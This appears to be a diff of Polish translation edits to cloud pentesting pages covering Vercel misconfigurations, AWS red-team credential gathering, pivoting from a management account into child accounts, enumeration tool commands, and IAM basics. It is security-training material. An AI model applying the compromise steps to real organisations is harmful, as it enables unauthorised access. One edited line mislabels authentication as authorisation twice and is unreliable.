**Grupa dostępu** w Vercel to zbiór projektów i członków zespołu z przypisanymi rolami, co umożliwia centralne i uproszczone zarządzanie dostępem w wielu projektach.
|
||||
|
||||
**Potencjalne błędy w konfiguracji:**
|
||||
|
||||
@@ -360,14 +360,14 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
|
||||
- **Ryzyka:**
|
||||
- **Ujawnienie sekretów:** Zmienne środowiskowe mogą być przeglądane lub edytowane przez nieautoryzowanych członków zespołu.
|
||||
- **Naruszenie danych:** Wrażliwe informacje, takie jak klucze API i poświadczenia, mogą zostać wycieknięte.
|
||||
- **Dziennik audytu:** Zapewnia eksport aktywności zespołu za ostatnie 90 dni. Dzienniki audytu pomagają w monitorowaniu i śledzeniu działań wykonywanych przez członków zespołu.
|
||||
- **Dziennik audytu:** Zapewnia eksport aktywności zespołu za ostatnie 90 dni. Dzienniki audytu pomagają w monitorowaniu i śledzeniu działań członków zespołu.
|
||||
- **Błąd w konfiguracji:**\
|
||||
Przyznawanie dostępu do dzienników audytu nieautoryzowanym członkom zespołu.
|
||||
- **Ryzyka:**
|
||||
- **Naruszenia prywatności:** Ujawnienie wrażliwych działań i danych użytkowników.
|
||||
- **Manipulacja logami:** Złośliwi aktorzy mogą zmieniać lub usuwać logi, aby ukryć swoje ślady.
|
||||
- **SAML Single Sign-On:** Umożliwia dostosowanie autoryzacji SAML i synchronizacji katalogów dla twojego zespołu, umożliwiając integrację z dostawcą tożsamości (IdP) w celu centralnej autoryzacji i zarządzania użytkownikami.
|
||||
- **Błąd w konfiguracji:** Atakujący może wprowadzić tylne drzwi do ustawień zespołu, konfigurując parametry SAML, takie jak identyfikator encji, adres URL SSO lub odciski palców certyfikatu.
|
||||
- **Błąd w konfiguracji:** Atakujący może wprowadzić tylne furtki w ustawieniach zespołu, konfigurując parametry SAML, takie jak identyfikator encji, adres URL SSO lub odciski palców certyfikatu.
|
||||
- **Ryzyko:** Utrzymanie trwałości
|
||||
- **Widoczność adresów IP:** Kontroluje, czy adresy IP, które mogą być uważane za dane osobowe zgodnie z niektórymi przepisami o ochronie danych, są wyświetlane w zapytaniach monitorujących i odpływach logów.
|
||||
- **Błąd w konfiguracji:** Pozostawienie widoczności adresów IP włączonej bez potrzeby.
|
||||
@@ -399,14 +399,14 @@ Przyznawanie dostępu do dzienników audytu nieautoryzowanym członkom zespołu.
|
||||
- **Ryzyko:** Nieautoryzowany dostęp do infrastruktury backendowej, nieudane bezpieczne połączenia i potencjalne naruszenia danych.
|
||||
4. **Nadmierne przypisania projektów**
|
||||
- **Błąd w konfiguracji:** Przypisanie wielu projektów do jednej sieci Secure Compute bez odpowiedniej izolacji.
|
||||
- **Ryzyko:** Wspólne ujawnienie IP zwiększa powierzchnię ataku, potencjalnie pozwalając skompromitowanym projektom wpływać na inne.
|
||||
- **Ryzyko:** Wspólna ekspozycja IP zwiększa powierzchnię ataku, co potencjalnie pozwala skompromitowanym projektom wpływać na inne.
|
||||
5. **Niewystarczające zarządzanie adresami IP**
|
||||
- **Błąd w konfiguracji:** Nieprawidłowe zarządzanie lub rotacja dedykowanych adresów IP.
|
||||
- **Ryzyko:** Fałszowanie IP, luki w śledzeniu i potencjalne umieszczanie na czarnej liście, jeśli IP są powiązane z działalnością złośliwą.
|
||||
6. **Niepotrzebne włączanie kontenerów budowlanych**
|
||||
- **Błąd w konfiguracji:** Dodawanie kontenerów budowlanych do sieci Secure Compute, gdy dostęp do backendu nie jest wymagany podczas budowy.
|
||||
- **Ryzyko:** Zwiększona powierzchnia ataku, wydłużone opóźnienia w przydzielaniu zasobów i niepotrzebne zużycie zasobów sieciowych.
|
||||
7. **Niebezpieczne zarządzanie sekretami omijania**
|
||||
7. **Brak bezpiecznego zarządzania sekretami omijania**
|
||||
- **Błąd w konfiguracji:** Ujawnianie lub niewłaściwe zarządzanie sekretami używanymi do omijania ochrony wdrożeń.
|
||||
- **Ryzyko:** Nieautoryzowany dostęp do chronionych wdrożeń, co pozwala atakującym manipulować lub wdrażać złośliwy kod.
|
||||
8. **Ignorowanie konfiguracji failover regionu**
|
||||
|
||||
@@ -31,7 +31,7 @@ Narzędzia do symulacji ataków:
|
||||
|
||||
Aby audytować środowisko AWS, bardzo ważne jest, aby wiedzieć: które **usługi są używane**, co jest **eksponowane**, kto ma **dostęp** do czego i jak wewnętrzne usługi AWS są połączone z **zewnętrznymi usługami**.
|
||||
|
||||
Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska AWS** jest zdobycie jakichś **poświadczeń**. Oto kilka pomysłów, jak to zrobić:
|
||||
Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska AWS** jest uzyskanie jakichś **poświadczeń**. Oto kilka pomysłów, jak to zrobić:
|
||||
|
||||
- **Wycieki** w githubie (lub podobnych) - OSINT
|
||||
- **Inżynieria** społeczna
|
||||
@@ -58,7 +58,7 @@ aws-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Po zdobyciu poświadczeń musisz wiedzieć **do kogo należą te poświadczenia** i **do czego mają dostęp**, więc musisz przeprowadzić podstawową enumerację:
|
||||
> Po uzyskaniu poświadczeń musisz wiedzieć **do kogo należą te poświadczenia** i **do czego mają dostęp**, więc musisz przeprowadzić podstawową enumerację:
|
||||
|
||||
## Podstawowa enumeracja
|
||||
|
||||
@@ -121,7 +121,7 @@ AWS ma zdumiewającą ilość usług, na następnej stronie znajdziesz **podstaw
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
Zauważ, że **nie** musisz wykonywać całej pracy **ręcznie**, poniżej w tym poście znajdziesz **sekcję o** [**automatycznych narzędziach**](./#automated-tools).
|
||||
Zauważ, że **nie** musisz wykonywać całej pracy **ręcznie**, poniżej w tym poście możesz znaleźć **sekcję o** [**automatycznych narzędziach**](./#automated-tools).
|
||||
|
||||
Co więcej, na tym etapie możesz odkryć **więcej usług wystawionych dla użytkowników nieautoryzowanych**, które możesz wykorzystać:
|
||||
|
||||
@@ -152,13 +152,13 @@ https://book.hacktricks.xyz/
|
||||
|
||||
### Z konta głównego/zarządzającego
|
||||
|
||||
Kiedy konto zarządzające tworzy nowe konta w organizacji, **nowa rola** jest tworzona w nowym koncie, domyślnie nazwana **`OrganizationAccountAccessRole`** i nadająca politykę **AdministratorAccess** dla **konta zarządzającego**, aby uzyskać dostęp do nowego konta.
|
||||
Kiedy konto zarządzające tworzy nowe konta w organizacji, w nowym koncie tworzona jest **nowa rola**, domyślnie nazwana **`OrganizationAccountAccessRole`** i nadająca politykę **AdministratorAccess** dla **konta zarządzającego**, aby uzyskać dostęp do nowego konta.
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Aby uzyskać dostęp jako administrator do konta podrzędnego, musisz:
|
||||
|
||||
- **Skompromitować** konto **zarządzające** i znaleźć **ID** **konta podrzędnych** oraz **nazwy** **ról** (domyślnie OrganizationAccountAccessRole), które pozwalają kontu zarządzającemu uzyskać dostęp jako administrator.
|
||||
- **Skompromitować** konto **zarządzające** i znaleźć **ID** **konta podrzędnego** oraz **nazwy** **ról** (domyślnie OrganizationAccountAccessRole), które pozwalają kontu zarządzającemu uzyskać dostęp jako administrator.
|
||||
- Aby znaleźć konta podrzędne, przejdź do sekcji organizacji w konsoli AWS lub uruchom `aws organizations list-accounts`
|
||||
- Nie możesz znaleźć nazw ról bezpośrednio, więc sprawdź wszystkie niestandardowe polityki IAM i poszukaj tych, które pozwalają na **`sts:AssumeRole` nad wcześniej odkrytymi kontami podrzędnymi**.
|
||||
- **Skompromituj** **podmiot** w koncie zarządzającym z **uprawnieniem `sts:AssumeRole` nad rolą w kontach podrzędnych** (nawet jeśli konto pozwala każdemu z konta zarządzającego na podszywanie się, ponieważ jest to konto zewnętrzne, konkretne uprawnienia `sts:AssumeRole` są konieczne).
|
||||
@@ -233,7 +233,7 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, kontroli bezpieczeństwa i innych, w intuicyjny widok graficzny oparty na bazie danych Neo4j.
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, kontroli bezpieczeństwa i innych, w intuicyjnym widoku graficznym opartym na bazie danych Neo4j.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Używa python2) To narzędzie, które próbuje **odkryć wszystkie** [**zasoby AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) utworzone w koncie.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): To narzędzie do **pobierania wszystkich publicznych adresów IP** (zarówno IPv4/IPv6) związanych z kontem AWS.
|
||||
|
||||
@@ -255,7 +255,7 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) to skrypt i biblioteka do identyfikacji ryzyk w konfiguracji AWS Identity and Access Management (IAM) dla konta AWS lub organizacji AWS. Modeluje różnych użytkowników i role IAM w koncie jako skierowany graf, co umożliwia sprawdzanie **eskalacji uprawnień** oraz alternatywnych ścieżek, które atakujący mógłby wykorzystać, aby uzyskać dostęp do zasobu lub akcji w AWS. Możesz sprawdzić **uprawnienia używane do znajdowania ścieżek privesc** w plikach kończących się na `_edges.py` w [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) to skrypt i biblioteka do identyfikacji ryzyk w konfiguracji AWS Identity and Access Management (IAM) dla konta AWS lub organizacji AWS. Modeluje różnych użytkowników i role IAM w koncie jako skierowany graf, co umożliwia sprawdzanie **eskalacji uprawnień** oraz alternatywnych ścieżek, którymi atakujący mógłby się posłużyć, aby uzyskać dostęp do zasobu lub akcji w AWS. Możesz sprawdzić **uprawnienia używane do znajdowania ścieżek privesc** w plikach kończących się na `_edges.py` w [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining to narzędzie do oceny bezpieczeństwa AWS IAM, które identyfikuje naruszenia zasady najmniejszych uprawnień i generuje raport HTML z priorytetem ryzyka.\
|
||||
Pokaże Ci potencjalnie **nadmiernie uprawnionego** klienta, polityki inline i aws oraz które **podmioty mają do nich dostęp**. (Sprawdza nie tylko privesc, ale także inne interesujące uprawnienia, zaleca się użycie).
|
||||
Pokaże ci potencjalnie **nadmiernie uprawnionego** klienta, polityki inline i aws **polityki** oraz które **podmioty mają do nich dostęp**. (Sprawdza nie tylko privesc, ale także inne interesujące uprawnienia, zaleca się użycie).
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -314,11 +314,11 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox pomaga uzyskać świadomość sytuacyjną w nieznanych środowiskach chmurowych. To narzędzie wiersza poleceń typu open source, stworzone, aby pomóc testerom penetracyjnym i innym profesjonalistom w dziedzinie bezpieczeństwa ofensywnego znaleźć możliwe do wykorzystania ścieżki ataku w infrastrukturze chmurowej.
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox pomaga uzyskać świadomość sytuacyjną w nieznanych środowiskach chmurowych. To narzędzie wiersza poleceń typu open source, stworzone, aby pomóc testerom penetracyjnym i innym profesjonalistom w dziedzinie bezpieczeństwa ofensywnego znaleźć wykorzystywalne ścieżki ataku w infrastrukturze chmurowej.
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite to narzędzie do audytu bezpieczeństwa w chmurze wielochmurowej o otwartym kodzie źródłowym, które umożliwia ocenę stanu bezpieczeństwa środowisk chmurowych.
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite to narzędzie do audytu bezpieczeństwa w chmurze o otwartym kodzie źródłowym, które umożliwia ocenę stanu bezpieczeństwa środowisk chmurowych.
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -334,7 +334,7 @@ scout aws -p dev
|
||||
|
||||
### Stały audyt
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian to silnik reguł do zarządzania publicznymi kontami i zasobami w chmurze. Umożliwia użytkownikom **definiowanie polityk w celu umożliwienia dobrze zarządzanej infrastruktury chmurowej**, która jest zarówno bezpieczna, jak i zoptymalizowana pod kątem kosztów. Konsoliduje wiele ad-hoc skryptów, które organizacje mają, w lekkie i elastyczne narzędzie, z jednolitymi metrykami i raportowaniem.
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian to silnik reguł do zarządzania publicznymi kontami i zasobami w chmurze. Umożliwia użytkownikom **definiowanie polityk w celu zapewnienia dobrze zarządzanej infrastruktury chmurowej**, która jest zarówno bezpieczna, jak i zoptymalizowana pod kątem kosztów. Konsoliduje wiele ad-hoc skryptów, które organizacje mają, w lekkie i elastyczne narzędzie, z jednolitymi metrykami i raportowaniem.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** to platforma do **ciągłego monitorowania zgodności, raportowania zgodności i automatyzacji bezpieczeństwa dla chmury**. W PacBot polityki bezpieczeństwa i zgodności są wdrażane jako kod. Wszystkie zasoby odkryte przez PacBot są oceniane pod kątem zgodności z tymi politykami. Ramy **auto-fix** PacBot umożliwiają automatyczną reakcję na naruszenia polityki poprzez podejmowanie zdefiniowanych działań.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert to bezserwerowa, **w czasie rzeczywistym** ramka analizy danych, która umożliwia **przyjmowanie, analizowanie i powiadamianie** o danych z dowolnego środowiska, **używając źródeł danych i logiki powiadamiania, które definiujesz**. Zespoły bezpieczeństwa komputerowego używają StreamAlert do skanowania terabajtów danych dzienników każdego dnia w celu wykrywania incydentów i reakcji.
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
|
||||
W AWS istnieje **konto główne**, które jest **rodzicem dla wszystkich kont** w Twojej **organizacji**. Jednak nie musisz używać tego konta do wdrażania zasobów, możesz utworzyć **inne konta, aby oddzielić różne infrastruktury AWS** między sobą.
|
||||
|
||||
Jest to bardzo interesujące z punktu widzenia **bezpieczeństwa**, ponieważ **jedno konto nie będzie mogło uzyskać dostępu do zasobów innego konta** (chyba że mosty zostaną specjalnie utworzone), dzięki czemu możesz tworzyć granice między wdrożeniami.
|
||||
Jest to bardzo interesujące z punktu widzenia **bezpieczeństwa**, ponieważ **jedno konto nie będzie mogło uzyskać dostępu do zasobów innego konta** (chyba że mosty są specjalnie utworzone), dzięki czemu możesz tworzyć granice między wdrożeniami.
|
||||
|
||||
Dlatego w organizacji istnieją **dwa typy kont** (mówimy o kontach AWS, a nie kontach użytkowników): jedno konto, które jest wyznaczone jako konto zarządzające, oraz jedno lub więcej kont członkowskich.
|
||||
|
||||
@@ -40,29 +40,25 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
**Polityka kontroli usług (SCP)** to polityka, która określa usługi i działania, które użytkownicy i role mogą wykorzystywać w kontach, na które wpływa SCP. SCP są **podobne do polityk uprawnień IAM**, z tym że **nie przyznają żadnych uprawnień**. Zamiast tego SCP określają **maksymalne uprawnienia** dla organizacji, jednostki organizacyjnej (OU) lub konta. Gdy dołączysz SCP do korzenia swojej organizacji lub OU, **SCP ogranicza uprawnienia dla podmiotów w kontach członkowskich**.
|
||||
**Polityka kontroli usług (SCP)** to polityka, która określa usługi i działania, które użytkownicy i role mogą wykorzystywać w kontach, na które wpływa SCP. SCP są **podobne do polityk uprawnień IAM**, z tym że **nie przyznają żadnych uprawnień**. Zamiast tego, SCP określają **maksymalne uprawnienia** dla organizacji, jednostki organizacyjnej (OU) lub konta. Gdy dołączysz SCP do korzenia swojej organizacji lub OU, **SCP ogranicza uprawnienia dla podmiotów w kontach członkowskich**.
|
||||
|
||||
To jest JEDYNY sposób, aby **nawet użytkownik root mógł być powstrzymany** przed zrobieniem czegoś. Na przykład, może być użyta do powstrzymania użytkowników przed wyłączaniem CloudTrail lub usuwaniem kopii zapasowych.\
|
||||
To jest JEDYNY sposób, aby **nawet użytkownik root mógł być powstrzymany** przed zrobieniem czegoś. Na przykład, może być użyty do powstrzymania użytkowników przed wyłączaniem CloudTrail lub usuwaniem kopii zapasowych.\
|
||||
Jedynym sposobem na obejście tego jest również skompromitowanie **konta głównego**, które konfiguruje SCP (konto główne nie może być zablokowane).
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że **SCP ograniczają tylko podmioty w koncie**, więc inne konta nie są dotknięte. Oznacza to, że posiadanie SCP, które odmawia `s3:GetObject`, nie powstrzyma ludzi przed **uzyskiwaniem dostępu do publicznego koszyka S3** w twoim koncie.
|
||||
> Zauważ, że **SCP tylko ograniczają uprawnienia w koncie**, więc inne konta nie są dotknięte. Oznacza to, że posiadanie SCP, które odmawia `s3:GetObject`, nie powstrzyma ludzi przed **uzyskiwaniem dostępu do publicznego koszyka S3** w twoim koncie.
|
||||
|
||||
Przykłady SCP:
|
||||
|
||||
- Całkowite zablokowanie konta root
|
||||
- Całkowite odmówienie konta root
|
||||
- Zezwolenie tylko na określone regiony
|
||||
- Zezwolenie tylko na usługi z białej listy
|
||||
- Zablokowanie dostępu do GuardDuty, CloudTrail i S3 Public Block Access przed
|
||||
- Odmowa wyłączania GuardDuty, CloudTrail i S3 Public Block Access
|
||||
|
||||
byciem wyłączonym
|
||||
- Odmowa usuwania lub modyfikowania ról odpowiedzialnych za bezpieczeństwo/reakcję na incydenty.
|
||||
|
||||
- Zablokowanie ról odpowiedzialności za bezpieczeństwo/incydenty przed usunięciem lub
|
||||
|
||||
zmianą.
|
||||
|
||||
- Zablokowanie usuwania kopii zapasowych.
|
||||
- Zablokowanie tworzenia użytkowników IAM i kluczy dostępu
|
||||
- Odmowa usuwania kopii zapasowych.
|
||||
- Odmowa tworzenia użytkowników IAM i kluczy dostępu
|
||||
|
||||
Znajdź **przykłady JSON** w [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
|
||||
@@ -82,19 +78,19 @@ Zauważ, że w AWS są 4 partycje, ale tylko 3 sposoby ich nazywania:
|
||||
|
||||
## IAM - Zarządzanie Tożsamością i Dostępem
|
||||
|
||||
IAM to usługa, która pozwoli Ci zarządzać **uwierzytelnianiem**, **autoryzacją** i **kontrolą dostępu** w Twoim koncie AWS.
|
||||
IAM to usługa, która pozwoli Ci zarządzać **Autoryzacją**, **Autoryzacją** i **Kontrolą Dostępu** w Twoim koncie AWS.
|
||||
|
||||
- **Uwierzytelnianie** - Proces definiowania tożsamości i weryfikacji tej tożsamości. Proces ten można podzielić na: Identyfikację i weryfikację.
|
||||
- **Autoryzacja** - Proces definiowania tożsamości i weryfikacji tej tożsamości. Proces ten można podzielić na: Identyfikację i weryfikację.
|
||||
- **Autoryzacja** - Określa, do czego tożsamość ma dostęp w systemie po jej uwierzytelnieniu.
|
||||
- **Kontrola dostępu** - Metoda i proces, w jaki sposób dostęp jest przyznawany do zabezpieczonego zasobu.
|
||||
- **Kontrola Dostępu** - Metoda i proces, w jaki sposób dostęp jest przyznawany do zabezpieczonego zasobu.
|
||||
|
||||
IAM można zdefiniować przez jego zdolność do zarządzania, kontrolowania i regulowania mechanizmów uwierzytelniania, autoryzacji i kontroli dostępu tożsamości do Twoich zasobów w Twoim koncie AWS.
|
||||
|
||||
### [Użytkownik główny konta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
Kiedy po raz pierwszy tworzysz konto Amazon Web Services (AWS), zaczynasz od pojedynczej tożsamości logowania, która ma **pełny dostęp do wszystkich** usług i zasobów AWS w koncie. To jest _**użytkownik główny**_ konta AWS i uzyskuje się do niego dostęp, logując się za pomocą **adresu e-mail i hasła, które użyłeś do utworzenia konta**.
|
||||
Kiedy po raz pierwszy tworzysz konto Amazon Web Services (AWS), zaczynasz od pojedynczej tożsamości logowania, która ma **pełny dostęp do wszystkich** usług i zasobów AWS w koncie. To jest _**główny użytkownik**_ konta AWS i uzyskuje się do niego dostęp, logując się za pomocą **adresu e-mail i hasła, które użyłeś do utworzenia konta**.
|
||||
|
||||
Zauważ, że nowy **użytkownik admina** będzie miał **mniejsze uprawnienia niż użytkownik główny**.
|
||||
Zauważ, że nowy **użytkownik admina** będzie miał **mniej uprawnień niż użytkownik główny**.
|
||||
|
||||
Z punktu widzenia bezpieczeństwa zaleca się tworzenie innych użytkowników i unikanie korzystania z tego.
|
||||
|
||||
@@ -109,7 +105,7 @@ Użytkownicy mogą mieć **włączone MFA do logowania** przez konsolę. Tokeny
|
||||
#### CLI
|
||||
|
||||
- **ID klucza dostępu**: 20 losowych wielkich liter alfanumerycznych, takich jak AKHDNAPO86BSHKDIRYT
|
||||
- **ID tajnego klucza dostępu**: 40 losowych wielkich i małych liter: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nie ma możliwości odzyskania utraconych ID tajnego klucza dostępu).
|
||||
- **ID tajnego klucza dostępu**: 40 losowych wielkich i małych liter: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nie ma możliwości odzyskania utraconych ID tajnych kluczy dostępu).
|
||||
|
||||
Kiedy musisz **zmienić klucz dostępu**, powinieneś postępować według tego procesu:\
|
||||
&#xNAN;_Create nowy klucz dostępu -> Zastosuj nowy klucz do systemu/aplikacji -> oznacz oryginalny jako nieaktywny -> Testuj i weryfikuj, że nowy klucz dostępu działa -> Usuń stary klucz dostępu_
|
||||
@@ -126,7 +122,7 @@ Polityki z warunkami MFA mogą być przypisane do następujących:
|
||||
- Polityki zaufania roli IAM, która może być przyjęta przez użytkownika
|
||||
|
||||
Jeśli chcesz **uzyskać dostęp przez CLI** do zasobu, który **sprawdza MFA**, musisz wywołać **`GetSessionToken`**. To da Ci token z informacjami o MFA.\
|
||||
Zauważ, że **`AssumeRole` poświadczenia nie zawierają tych informacji**.
|
||||
Zauważ, że **`AssumeRole` credentials nie zawierają tych informacji**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
@@ -149,7 +145,7 @@ Oto kilka ważnych cech grup użytkowników:
|
||||
|
||||
Rola IAM jest bardzo **podobna** do **użytkownika**, ponieważ jest to **tożsamość z politykami uprawnień, które określają, co** może i czego nie może robić w AWS. Jednak rola **nie ma żadnych poświadczeń** (hasła ani kluczy dostępu) związanych z nią. Zamiast być unikalnie przypisana do jednej osoby, rola ma być **przyjmowana przez każdego, kto jej potrzebuje (i ma wystarczające uprawnienia)**. **Użytkownik IAM może przyjąć rolę, aby tymczasowo** przyjąć różne uprawnienia do konkretnego zadania. Rola może być **przypisana do** [**użytkownika federacyjnego**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), który loguje się za pomocą zewnętrznego dostawcy tożsamości zamiast IAM.
|
||||
|
||||
Rola IAM składa się z **dwóch typów polityk**: **polityki zaufania**, która nie może być pusta, definiującej **kto może przyjąć** rolę, oraz **polityki uprawnień**, która nie może być pusta, definiującej **do czego ma dostęp**.
|
||||
Rola IAM składa się z **dwóch typów polityk**: **polityki zaufania**, która nie może być pusta, definiującej **kto może przyjąć** rolę, oraz **polityki uprawnień**, która nie może być pusta, definiującej **co może uzyskać dostęp**.
|
||||
|
||||
#### Usługa AWS Security Token Service (STS)
|
||||
|
||||
@@ -204,7 +200,7 @@ Polityki inline są przydatne, jeśli chcesz **utrzymać ścisłą relację jede
|
||||
|
||||
To są **polityki**, które mogą być definiowane w **zasobach**. **Nie wszystkie zasoby AWS je wspierają**.
|
||||
|
||||
Jeśli główny podmiot nie ma wyraźnego odmowy dostępu do nich, a polityka zasobów przyznaje im dostęp, to są one dozwolone.
|
||||
Jeśli główny podmiot nie ma wyraźnego odmowy dostępu do nich, a polityka zasobów przyznaje im dostęp, to są dozwolone.
|
||||
|
||||
### IAM Boundaries
|
||||
|
||||
@@ -226,14 +222,14 @@ aws sts assume-role \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Zauważ, że domyślnie **AWS może dodać polityki sesji do sesji**, które będą generowane z powodu innych przyczyn. Na przykład, w [nieautoryzowanych rolach przyjętych przez Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) domyślnie (korzystając z ulepszonej autoryzacji), AWS wygeneruje **poświadczenia sesji z polityką sesji**, która ogranicza usługi, do których sesja ma dostęp [**do następującej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
Zauważ, że domyślnie **AWS może dodać polityki sesji do sesji**, które będą generowane z powodu innych przyczyn. Na przykład, w przypadku [nieautoryzowanych ról przyjętych przez Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) domyślnie (korzystając z ulepszonej autoryzacji), AWS wygeneruje **poświadczenia sesji z polityką sesji**, która ogranicza usługi, do których sesja ma dostęp [**do następującej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Dlatego, jeśli w pewnym momencie napotkasz błąd "... ponieważ żadna polityka sesji nie zezwala na ...", a rola ma dostęp do wykonania akcji, to dlatego, że **istnieje polityka sesji, która to uniemożliwia**.
|
||||
|
||||
### Federacja Tożsamości
|
||||
|
||||
Federacja tożsamości **pozwala użytkownikom z dostawców tożsamości, którzy są zewnętrzni** dla AWS, na bezpieczny dostęp do zasobów AWS bez konieczności podawania poświadczeń użytkownika AWS z ważnego konta IAM.\
|
||||
Przykładem dostawcy tożsamości może być twoje własne korporacyjne **Microsoft Active Directory** (poprzez **SAML**) lub usługi **OpenID** (jak **Google**). Dostęp federacyjny pozwoli użytkownikom w nim na dostęp do AWS.
|
||||
Przykładem dostawcy tożsamości może być Twoje własne korporacyjne **Microsoft Active Directory** (poprzez **SAML**) lub usługi **OpenID** (takie jak **Google**). Dostęp federacyjny pozwoli użytkownikom w nim na dostęp do AWS.
|
||||
|
||||
Aby skonfigurować to zaufanie, generowany jest **dostawca tożsamości IAM (SAML lub OAuth)**, który **ufa** **innej platformie**. Następnie przynajmniej jedna **rola IAM jest przypisana (ufająca) do dostawcy tożsamości**. Jeśli użytkownik z zaufanej platformy uzyskuje dostęp do AWS, uzyskuje dostęp jako wspomniana rola.
|
||||
|
||||
@@ -245,7 +241,7 @@ Jednak zazwyczaj będziesz chciał nadać **inną rolę w zależności od grupy
|
||||
|
||||
AWS IAM Identity Center (następca AWS Single Sign-On) rozszerza możliwości AWS Identity and Access Management (IAM), aby zapewnić **centralne miejsce**, które łączy **administrację użytkowników i ich dostęp do kont AWS** oraz aplikacji w chmurze.
|
||||
|
||||
Domena logowania będzie wyglądać mniej więcej jak `<user_input>.awsapps.com`.
|
||||
Domena logowania będzie wyglądać mniej więcej tak: `<user_input>.awsapps.com`.
|
||||
|
||||
Aby zalogować użytkowników, można użyć 3 źródeł tożsamości:
|
||||
|
||||
@@ -257,7 +253,7 @@ Aby zalogować użytkowników, można użyć 3 źródeł tożsamości:
|
||||
|
||||
W najprostszym przypadku katalogu Centrum Tożsamości, **Centrum Tożsamości będzie miało listę użytkowników i grup** i będzie mogło **przypisywać polityki** do nich do **dowolnych kont** organizacji.
|
||||
|
||||
Aby nadać dostęp użytkownikowi/grupie Centrum Tożsamości do konta, **zostanie utworzony zaufany dostawca tożsamości SAML**, a **rola zaufana dostawcy tożsamości z wskazanymi politykami zostanie utworzona** w docelowym koncie.
|
||||
Aby nadać dostęp użytkownikowi/grupie Centrum Tożsamości do konta, **zostanie utworzony zaufany dostawca tożsamości SAML**, a **rola ufająca dostawcy tożsamości z wskazanymi politykami zostanie utworzona** w docelowym koncie.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
@@ -277,7 +273,7 @@ Nieobsługiwane:
|
||||
- Relacje zaufania
|
||||
- Centrum administracyjne AD
|
||||
- Pełne wsparcie PS API
|
||||
- Kosz na śmieci AD
|
||||
- Kosz na AD
|
||||
- Zarządzane konta usług grupowych
|
||||
- Rozszerzenia schematu
|
||||
- Brak bezpośredniego dostępu do OS lub instancji
|
||||
@@ -291,7 +287,7 @@ Aplikacja używa AssumeRoleWithWebIdentity do tworzenia tymczasowych poświadcze
|
||||
